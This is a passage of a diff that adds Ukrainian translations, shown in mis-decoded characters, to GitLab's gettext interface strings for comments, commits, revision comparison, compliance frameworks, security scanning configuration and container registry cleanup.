+msgstr "СпиÑок Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти, відокремлених комами."
msgid "Comma-separated list of users allowed to exceed the rate limit."
-msgstr ""
+msgstr "Відокремлений комами ÑпиÑок кориÑтувачів, Ñким дозволено перевищувати ліміт допуÑтимого."
msgid "Comma-separated, e.g. '1.1.1.1, 2.2.2.0/24'"
msgstr "Розділений комами, напр. '1.1.1.1, 2.2.0/24'"
@@ -8587,7 +8754,7 @@ msgid "Comment & unresolve thread"
msgstr "Коментувати та повторно відкрити обговореннÑ"
msgid "Comment '%{label}' position"
-msgstr ""
+msgstr "Коментувати позицію \"%{label}\""
msgid "Comment form position"
msgstr "Ð Ð¾Ð·Ñ‚Ð°ÑˆÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð¾Ñ€Ð¼Ð¸ коментарÑ"
@@ -8596,16 +8763,16 @@ msgid "Comment is being updated"
msgstr "Коментар в процеÑÑ– оновленнÑ"
msgid "Comment on lines %{startLine} to %{endLine}"
-msgstr ""
+msgstr "Коментувати Ñ€Ñдки з %{startLine} по %{endLine}"
msgid "Comment/Reply (quoting selected text)"
msgstr "Коментувати/відповіÑти (цитуючи виділений текÑÑ‚)"
msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
-msgstr ""
+msgstr "ÐšÐ¾Ð¼ÐµÐ½Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñ–Ð², Ñкі замінюють або замінюютьÑÑ Ñимволічними поÑиланнÑми, наразі не підтримуєтьÑÑ."
msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
-msgstr ""
+msgstr "ÐšÐ¾Ð¼ÐµÐ½Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñимволічних поÑилань, Ñкі замінюють або замінюютьÑÑ Ñ„Ð°Ð¹Ð»Ð°Ð¼Ð¸, наразі не підтримуєтьÑÑ."
msgid "Comments"
msgstr "Коментарі"
@@ -8627,7 +8794,7 @@ msgid "Commit Message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ"
msgid "Commit changes"
-msgstr ""
+msgstr "ЗафікÑувати зміни"
msgid "Commit deleted"
msgstr "Коміт видалено"
@@ -8636,7 +8803,7 @@ msgid "Commit message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ"
msgid "Commit message (optional)"
-msgstr ""
+msgstr "ÐžÐ¿Ð¸Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ (необов'Ñзково)"
msgid "Commit statistics for %{ref} %{start_time} - %{end_time}"
msgstr "СтатиÑтика комітів Ð´Ð»Ñ %{ref} %{start_time} - %{end_time}"
@@ -8651,7 +8818,7 @@ msgid "CommitMessage|Add %{file_name}"
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ %{file_name}"
msgid "CommitMessage|Add %{file_name} and create a code quality job"
-msgstr ""
+msgstr "Додати %{file_name} та Ñтворити Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð· ÑкоÑÑ‚Ñ– коду"
msgid "CommitWidget|authored"
msgstr "автор"
@@ -8675,7 +8842,7 @@ msgid "Commits to"
msgstr "Комітить до"
msgid "Commits you select appear here. Go to the first tab and select commits to add to this merge request."
-msgstr ""
+msgstr "Тут з’ÑвлÑÑ‚ÑŒÑÑ Ð¾Ð±Ñ€Ð°Ð½Ñ– вами коміти. Перейдіть до першої вкладки та оберіть коміти, щоб додати Ñ—Ñ… до цього запиту на злиттÑ."
msgid "Commits|An error occurred while fetching merge requests data."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… запиту на злиттÑ."
@@ -8693,19 +8860,19 @@ msgid "Commit…"
msgstr "Коміт…"
msgid "Community forum"
-msgstr ""
+msgstr "Форум Ñпільноти"
msgid "Company"
msgstr "КомпаніÑ"
msgid "Company Name"
-msgstr ""
+msgstr "Ðазва компанії"
msgid "Compare"
msgstr "ПорівнÑти"
msgid "Compare %{oldCommitId}...%{newCommitId}"
-msgstr ""
+msgstr "ПорівнÑти %{oldCommitId}...%{newCommitId}"
msgid "Compare Git revisions"
msgstr "ПорівнÑти Git-редакції"
@@ -8726,7 +8893,7 @@ msgid "Compare changes with the merge request target branch"
msgstr "ПорівнÑти зміни із ціловою гілкою запиту на злиттÑ"
msgid "Compare submodule commit revisions"
-msgstr ""
+msgstr "ПорівнÑти верÑÑ–Ñ— комітів підмодулÑ"
msgid "Compare with previous version"
msgstr "ПорівнÑти із попередньою верÑією"
@@ -8741,40 +8908,40 @@ msgid "CompareRevisions|Branches"
msgstr "Гілки"
msgid "CompareRevisions|Compare"
-msgstr ""
+msgstr "ПорівнÑти"
msgid "CompareRevisions|Create merge request"
msgstr "Створити запит на злиттÑ"
msgid "CompareRevisions|Filter by Git revision"
-msgstr ""
+msgstr "Фільтрувати за ревізією Git"
msgid "CompareRevisions|Select Git revision"
-msgstr ""
+msgstr "Обрати ревізію Git"
msgid "CompareRevisions|Select branch/tag"
-msgstr ""
+msgstr "Обрати гілку/тег"
msgid "CompareRevisions|Select target project"
-msgstr ""
+msgstr "Обрати цільовий проєкт"
msgid "CompareRevisions|Swap revisions"
-msgstr ""
+msgstr "ПомінÑти ревізії міÑцÑми"
msgid "CompareRevisions|Tags"
msgstr "Теги"
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ ÑпиÑку гілок/тегів ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¿Ð¾ÑˆÑƒÐºÑƒ ÑпиÑку гілок/тегів ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÑпиÑку гілок/тегів ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "CompareRevisions|View open merge request"
-msgstr ""
+msgstr "ПереглÑнути відкритий запит на злиттÑ"
msgid "Complete"
msgstr "Завершено"
@@ -8783,34 +8950,34 @@ msgid "Completed"
msgstr "Завершено"
msgid "Completed in %{duration_seconds} seconds (%{relative_time})"
-msgstr ""
+msgstr "Завершено за %{duration_seconds} Ñекунд (%{relative_time})"
msgid "Compliance framework"
msgstr ""
msgid "Compliance report"
-msgstr ""
+msgstr "Звіт про відповідніÑÑ‚ÑŒ"
msgid "ComplianceDashboard|created by:"
-msgstr ""
+msgstr "Ñтворено:"
msgid "ComplianceFrameworks|Add framework"
msgstr ""
msgid "ComplianceFrameworks|Background color"
-msgstr ""
+msgstr "Колір тла"
msgid "ComplianceFrameworks|Cancel"
-msgstr ""
+msgstr "СкаÑувати"
msgid "ComplianceFrameworks|Compliance framework deleted successfully"
msgstr ""
msgid "ComplianceFrameworks|Compliance pipeline configuration (optional)"
-msgstr ""
+msgstr "ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´Ð½Ð¾ÑÑ‚Ñ– конвеєру (необов'Ñзково)"
msgid "ComplianceFrameworks|Configuration not found"
-msgstr ""
+msgstr "ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ Ð½Ðµ знайдена"
msgid "ComplianceFrameworks|Configured compliance frameworks appear here."
msgstr ""
@@ -8822,10 +8989,10 @@ msgid "ComplianceFrameworks|Delete framework"
msgstr ""
msgid "ComplianceFrameworks|Description"
-msgstr ""
+msgstr "ОпиÑ"
msgid "ComplianceFrameworks|Description is required"
-msgstr ""
+msgstr "Потрібен опиÑ"
msgid "ComplianceFrameworks|Edit framework"
msgstr ""
@@ -8840,19 +9007,19 @@ msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please re
msgstr ""
msgid "ComplianceFrameworks|Invalid format"
-msgstr ""
+msgstr "ÐедійÑний формат"
msgid "ComplianceFrameworks|Name"
-msgstr ""
+msgstr "Ðазва"
msgid "ComplianceFrameworks|Name is required"
-msgstr ""
+msgstr "Потрібна назва"
msgid "ComplianceFrameworks|No compliance frameworks are configured"
msgstr ""
msgid "ComplianceFrameworks|Required format: %{codeStart}path/file.y[a]ml@group-name/project-name%{codeEnd}. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "Ðеобхідний формат: %{codeStart}шлÑÑ…/файл.y[a]ml@group-name/project-name%{codeEnd}. %{linkStart}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ.%{linkEnd}"
msgid "ComplianceFrameworks|Unable to save this compliance framework. Please try again"
msgstr ""
@@ -8864,10 +9031,10 @@ msgid "ComplianceFramework|Edit compliance framework"
msgstr ""
msgid "ComplianceFramework|New compliance framework"
-msgstr ""
+msgstr "Ðова оболонка Ð´Ð»Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´Ð½Ð¾ÑÑ‚Ñ–"
msgid "Component"
-msgstr ""
+msgstr "Компонент"
msgid "Confidence"
msgstr "ВпевненіÑÑ‚ÑŒ"
@@ -8882,25 +9049,25 @@ msgid "Configuration"
msgstr "КонфігураціÑ"
msgid "Configuration help"
-msgstr ""
+msgstr "Довідка по конфігурації"
msgid "Configure %{italic_start}What's new%{italic_end} drawer and content."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ %{italic_start}Що нового%{italic_end} меню та контент."
msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
-msgstr ""
+msgstr "Ðалаштувати %{link} Ð´Ð»Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ð¾Ð´Ñ–Ð¹. %{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ.%{link_end}"
msgid "Configure %{repository_checks_link_start}repository checks%{link_end} and %{housekeeping_link_start}housekeeping%{link_end} on repositories."
-msgstr ""
+msgstr "Ðалаштувати %{repository_checks_link_start}перевірки репозиторіїв:%{link_end} та %{housekeeping_link_start}очищеннÑ%{link_end} в репозиторіÑÑ…."
msgid "Configure CAPTCHAs, IP address limits, and other anti-spam measures."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CAPTCHA, Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ IP-Ð°Ð´Ñ€ÐµÑ Ñ‚Ð° інших антиÑпам-заходів."
msgid "Configure Dependency Scanning in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings) to customize Dependency Scanning settings."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей в `.gitlab-ci.yml` викориÑтовуючи керований шаблон GitLab. Ви можете [додати змінну overrides](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings), щоб налаштувати Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей."
msgid "Configure Dependency Scanning in `.gitlab-ci.yml`, creating this file if it does not already exist"
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей в `.gitlab-ci.yml`, ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ файлу, Ñкщо він ще не Ñ–Ñнує"
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Ðалаштувати runner'ів GitLab Ð´Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ викориÑÑ‚Ð°Ð½Ð½Ñ Ð’ÐµÐ±-терміналу. %{helpStart}Докладніше.%{helpEnd}"
@@ -8914,23 +9081,32 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ—"
msgid "Configure Prometheus"
msgstr "Ðалаштувати Prometheus"
-msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
msgstr ""
-msgid "Configure SAST in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ SAST в `.gitlab-ci.yml` викориÑтовуючи керований шаблон GitLab. Ви можете [налаштувати змінні](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) Ð´Ð»Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ SAST."
+
+msgid "Configure SAST in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ SAST в `.gitlab-ci.yml`, ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ файлу, Ñкщо він ще не Ñ–Ñнує"
+
msgid "Configure Secret Detection in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings) to customize Secret Detection settings."
-msgstr ""
+msgstr "Ðалаштувати виÑÐ²Ð»ÐµÐ½Ð½Ñ Ñекретів в `.gitlab-ci.yml` за допомогою керованого GitLab шаблону. Ви можете [налаштувати змінні](https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings) щоб налаштувати параметри виÑÐ²Ð»ÐµÐ½Ð½Ñ Ñекретів."
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr "Ðалаштуйте виÑÐ²Ð»ÐµÐ½Ð½Ñ Secret Detection в `.gitlab-ci.yml`, ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ файлу, Ñкщо він ще не Ñ–Ñнує"
+
+msgid "Configure Sentry integration for error tracking"
msgstr ""
msgid "Configure Tracing"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð’Ñ–Ð´ÑтеженнÑ"
msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr ""
+msgstr "Ðалаштуйте %{codeStart}.gitlab-webide.yml%{codeEnd} файл %{codeStart}.gitlab%{codeEnd} , щоб почати викориÑтовувати Веб-термінал. %{helpStart}Докладніше%{helpEnd}"
msgid "Configure advanced permissions, Large File Storage, and two-factor authentication settings."
msgstr ""
@@ -8942,10 +9118,10 @@ msgid "Configure repository mirroring."
msgstr "Ðалаштувати Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð²."
msgid "Configure repository storage."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñховища репозиторію."
msgid "Configure settings for Advanced Search with Elasticsearch."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð·ÑˆÐ¸Ñ€ÐµÐ½Ð¾Ð³Ð¾ пошуку за допомогою Elasticsearch."
msgid "Configure specific limits for Files API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8960,14 +9136,11 @@ msgid "Configure the %{link} integration."
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ— з %{link}."
msgid "Configure the default first day of the week and time tracking units."
-msgstr ""
+msgstr "Ðалаштуйте перший день Ñ‚Ð¸Ð¶Ð½Ñ Ð·Ð° замовчуваннÑм Ñ– одиниці відÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу."
msgid "Configure the way a user creates a new account."
msgstr "Ðалаштувати ÑпоÑіб ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувачем нового облікового запиÑу."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -8975,16 +9148,16 @@ msgid "Confirm"
msgstr "Підтвердити"
msgid "Confirm new password"
-msgstr ""
+msgstr "Підвердіть новий пароль"
msgid "Confirm user"
-msgstr ""
+msgstr "Підтвердити кориÑтувача"
msgid "Confirm your account"
-msgstr ""
+msgstr "Підтвердіть ваш обліковий запиÑ"
msgid "Confirm your email address"
-msgstr ""
+msgstr "Підтвердіть Вашу електронну адреÑу"
msgid "Confirmation email sent to %{email}"
msgstr "ÐŸÑ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½Ð°Ð´Ñ–Ñлано на %{email}"
@@ -8993,49 +9166,49 @@ msgid "Confirmation required"
msgstr "Ðеобхідне підтвердженнÑ"
msgid "Confirmed at:"
-msgstr ""
+msgstr "Підтверджено:"
msgid "Confirmed:"
-msgstr ""
+msgstr "Підтверджено:"
msgid "Conflict: This file was added both in the source and target branches, but with different contents."
msgstr ""
msgid "Conflict: This file was modified in both the source and target branches."
-msgstr ""
+msgstr "Конфлікт: цей файл було змінено Ñк у гілці-джерелі, так Ñ– у цільовій гілці."
msgid "Conflict: This file was modified in the source branch, but removed in the target branch."
-msgstr ""
+msgstr "Конфлікт: цей файл було змінено у гілці-джерелі, але видалено у цільовій гілці."
msgid "Conflict: This file was removed in the source branch, but modified in the target branch."
-msgstr ""
+msgstr "Конфлікт: цей файл було видалено у гілці-джерелі, але змінено у цільовій гілці."
msgid "Conflict: This file was removed in the source branch, but renamed in the target branch."
-msgstr ""
+msgstr "Конфлікт: цей файл було видалено у гілці-джерелі, але перейменовано у цільовій гілці."
msgid "Conflict: This file was renamed differently in the source and target branches."
-msgstr ""
+msgstr "Конфлікт: цей файл було по-різному перейменовано у гілці-джерелі та у цільовій гілці."
msgid "Conflict: This file was renamed in the source branch, but removed in the target branch."
-msgstr ""
+msgstr "Конфлікт: цей файл було перейменовано у гілці-джерелі, але видалено у цільовій гілці."
msgid "Confluence"
msgstr "Confluence"
msgid "Confluence Cloud Workspace URL"
-msgstr ""
+msgstr "URL-адреÑа робочої облаÑÑ‚Ñ– Confluence Cloud"
msgid "ConfluenceService|Confluence Workspace"
-msgstr ""
+msgstr "Робоча облаÑÑ‚ÑŒ Confluence"
msgid "ConfluenceService|Link to a Confluence Workspace from the sidebar."
-msgstr ""
+msgstr "ПоÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° робочу облаÑÑ‚ÑŒ Confluence з бічної панелі."
msgid "ConfluenceService|Link to a Confluence Workspace from the sidebar. Enabling this integration replaces the \"Wiki\" sidebar link with a link to the Confluence Workspace. The GitLab wiki is still available at the original URL."
-msgstr ""
+msgstr "ПоÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° робочу облаÑÑ‚ÑŒ Confluence з бічної панелі. Ð£Ð²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ñ†Ñ–Ñ”Ñ— інтеграції замінює поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð±Ñ–Ñ‡Ð½Ð¾Ñ— панелі «Вікі» поÑиланнÑм на робочу облаÑÑ‚ÑŒ Confluence. Вікі GitLab вÑе ще доÑтупна за оригінальною URL-адреÑою."
msgid "ConfluenceService|Your GitLab wiki is still available at %{wiki_link}. To re-enable the link to the GitLab wiki, disable this integration."
-msgstr ""
+msgstr "Ваша вікі GitLab вÑе ще доÑтупна за адреÑою %{wiki_link}. Щоб знову ввімкнути поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° вікі GitLab, вимкніть цю інтеграцію."
msgid "Congratulations, your free trial is activated."
msgstr "Вітаємо, ваша безкоштовна пробна верÑÑ–Ñ Ð°ÐºÑ‚Ð¸Ð²Ð¾Ð²Ð°Ð½Ð°."
@@ -9083,7 +9256,7 @@ msgid "Contact support"
msgstr "ЗвернутиÑÑ Ð´Ð¾ Ñлужби підтримки"
msgid "Contacts"
-msgstr ""
+msgstr "Контакти"
msgid "Container Registry"
msgstr "РеєÑÑ‚Ñ€ Контейнерів"
@@ -9095,7 +9268,7 @@ msgid "Container does not exist"
msgstr "Контейнер не Ñ–Ñнує"
msgid "Container must be a project or a group."
-msgstr ""
+msgstr "Контейнер має бути проєктом або групою."
msgid "Container registry images"
msgstr "Образи в реєÑтрі контейнерів"
@@ -9107,13 +9280,13 @@ msgid "Container repositories"
msgstr "Репозиторії контейнерів"
msgid "Container repositories synchronization concurrency limit"
-msgstr ""
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð¾Ð´Ð½Ð¾Ñ‡Ð°Ñних потоків Ñинхронізації репозиторіїв контейнерів"
msgid "Container repository"
-msgstr ""
+msgstr "Репозиторій контейнера"
msgid "ContainerRegistry| Please visit the %{linkStart}administration settings%{linkEnd} to enable this feature."
-msgstr ""
+msgstr "Будь лаÑка, перейдіть до %{linkStart}налаштувань адмініÑтрації%{linkEnd} , щоб увімкнути цю функцію."
msgid "ContainerRegistry|%{count} Image repository"
msgid_plural "ContainerRegistry|%{count} Image repositories"
@@ -9130,13 +9303,13 @@ msgstr[2] "%{count} Тегів"
msgstr[3] "%{count} Тегів"
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
-msgstr ""
+msgstr "%{strongStart}Вимкнено%{strongEnd} - Теги не буде автоматично видалено."
msgid "ContainerRegistry|%{strongStart}Enabled%{strongEnd} - Tags that match the rules on this page are automatically scheduled for deletion."
-msgstr ""
+msgstr "%{strongStart}Увімкнено%{strongEnd} - Теги, Ñкі відповідають правилам на цій Ñторінці, автоматично заплановано Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ."
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
-msgstr ""
+msgstr "%{title} було уÑпішно заплановано Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ"
msgid "ContainerRegistry|-- tags"
msgstr "-- теги"
@@ -9154,43 +9327,43 @@ msgid "ContainerRegistry|Cleanup in progress"
msgstr "ВиконуєтьÑÑ Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ"
msgid "ContainerRegistry|Cleanup incomplete"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð½Ðµ завершено"
msgid "ContainerRegistry|Cleanup is currently removing tags"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð½Ð°Ñ€Ð°Ð·Ñ– видалÑÑ” теги"
msgid "ContainerRegistry|Cleanup is disabled for this project"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð¾ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "ContainerRegistry|Cleanup is ongoing"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ñ‚Ñ€Ð¸Ð²Ð°Ñ”"
msgid "ContainerRegistry|Cleanup pending"
msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð² очікуванні"
msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту тепер доÑтупні політики очищеннÑ. %{linkStart}ÐатиÑніть тут, щоб почати.%{linkEnd}"
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
-msgstr ""
+msgstr "Політику Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ‚ÐµÐ³Ñ–Ð² вимкнено"
msgid "ContainerRegistry|Cleanup policy successfully saved."
-msgstr ""
+msgstr "Політику Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ ÑƒÑпішно збережено."
msgid "ContainerRegistry|Cleanup ran but some tags were not removed"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð¾, але деÑкі теги не було видалено"
msgid "ContainerRegistry|Cleanup timed out"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð¼Ð¸Ð½ÑƒÐ²"
msgid "ContainerRegistry|Cleanup timed out before it could delete all tags"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð¼Ð¸Ð½ÑƒÐ², перш ніж було видалено вÑÑ– теги"
msgid "ContainerRegistry|Cleanup will run %{time}"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð±ÑƒÐ´Ðµ виконуватиÑÑ %{time}"
msgid "ContainerRegistry|Cleanup will run soon"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð½ÐµÐ·Ð°Ð±Ð°Ñ€Ð¾Ð¼ запуÑтитьÑÑ"
msgid "ContainerRegistry|Configuration digest: %{digest}"
msgstr ""
@@ -9208,13 +9381,13 @@ msgid "ContainerRegistry|Copy push command"
msgstr "Скопіювати команду відправленнÑ"
msgid "ContainerRegistry|Delete image repository?"
-msgstr ""
+msgstr "Видалити репозиторій образів?"
msgid "ContainerRegistry|Delete selected tags"
-msgstr ""
+msgstr "Видалити обрані теги"
msgid "ContainerRegistry|Delete tag"
-msgstr ""
+msgstr "Видалити тег"
msgid "ContainerRegistry|Deleting the image repository will delete all images and tags inside. This action cannot be undone. Please type the following to confirm: %{code}"
msgstr ""
@@ -9226,13 +9399,13 @@ msgid "ContainerRegistry|Docker connection error"
msgstr "Помилка Ð·â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Docker"
msgid "ContainerRegistry|Enable expiration policy"
-msgstr ""
+msgstr "Увімкнути політику Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії"
msgid "ContainerRegistry|Expiration policy is disabled"
-msgstr ""
+msgstr "Політика Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії вимкнена"
msgid "ContainerRegistry|Expiration policy will run in %{time}"
-msgstr ""
